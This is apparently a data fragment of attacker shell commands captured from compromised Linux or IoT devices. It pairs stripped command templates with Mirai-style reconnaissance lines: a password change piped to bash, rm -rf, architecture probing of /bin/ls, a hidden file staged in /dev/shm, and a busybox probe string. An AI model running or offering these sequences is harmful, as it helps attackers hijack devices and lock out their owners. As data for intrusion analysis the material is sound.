('cd && rm -rf && mkdir && echo >> && chmod -R && cd', 'cat | grep | wc -l', 'echo -e | passwd | bash', 'Enter', 'echo | passwd', 'cat | grep | head -n | awk { print $4,$5,$6,$7,$8,$9 ; }', 'free -m | grep | awk { print $2 $4, $5, $6, $7 }', 'ls -lh $ ( which ls )', 'which', 'crontab', 'w', 'uname', 'cat | grep | grep | wc -l', 'top', 'uname', 'uname', 'lscpu | grep')


cd /tmp || cd /var || cd /dev || cd /etc

dd bs=52 count=1 if=/bin/ls || cat /bin/ls || while read i; do echo $i; done < /bin/ls || while read i; do echo $i; done < /bin/busybox


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox AYBZM